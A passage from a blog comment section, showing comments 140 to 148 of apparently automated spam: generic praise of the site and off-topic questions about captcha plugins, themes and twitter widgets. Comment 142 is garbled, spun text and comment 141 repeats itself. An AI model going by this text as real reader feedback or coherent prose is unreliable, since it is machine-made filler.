    hunt for something concerning this.

  140. Hey there! I know this is kinda off topic but I was wondering if you knew where I could locate a captcha
    plugin for my comment form? I’m using the same blog
    platform as yours and I’m having trouble finding one? Thanks a lot!

  141. Hello there, I discovered your website via Google
    at the same time as searching for a related matter, your website came up, it seems great.

    I’ve bookmarked it in my google bookmarks.
    Hello there, just changed into aware of your blog via Google, and located that
    it is truly informative. I am gonna watch out for brussels.
    I will appreciate if you happen to continue this in future.

    Many folks can be benefited from your writing. Cheers!

  142. I loved as much as you will receive carried out right here.
    The sketch is attractive, your authored material stylish.

    nonetheless, you command get got an edginess over that you wish be delivering
    the following. unwell unquestionably come further formerly again since exactly the
    same nearly a lot often inside case you shield this hike.

  143. Excellent web site you’ve got here.. It’s difficult to find excellent writing like yours these days.
    I truly appreciate people like you! Take care!!

  144. Have you ever thought about including a little bit more than just your
    articles? I mean, what you say is fundamental and everything.
    Nevertheless imagine if you added some great pictures
    or videos to give your posts more, “pop”! Your content is excellent but with images and video clips, this website could definitely be one of the most
    beneficial in its niche. Great blog!

  145. I really love your site.. Great colors & theme. Did you build this site yourself?
    Please reply back as I’m attempting to create my own personal website and would love to find out
    where you got this from or exactly what the theme is named.
    Thanks!

  146. Hmm is anyone else experiencing problems with the pictures on this blog loading?
    I’m trying to find out if its a problem on my end or if it’s the
    blog. Any suggestions would be greatly appreciated.

  147. Hey I know this is off topic but I was wondering if you knew of any widgets
    I could add to my blog that automatically tweet my newest
    twitter updates. I’ve been looking for a plug-in like this for quite some time and was hoping maybe you would have some experience with something like
    this. Please let me know if you run into anything.
    I truly enjoy reading your blog and I look forward to your
    new updates.

  148. You can certainly see your expertise within the article you write.
    The world hopes for more passionate writers like you who are not afraid
    to mention how they believe. Always follow your heart.

Leave a Reply

Your email address will not be published.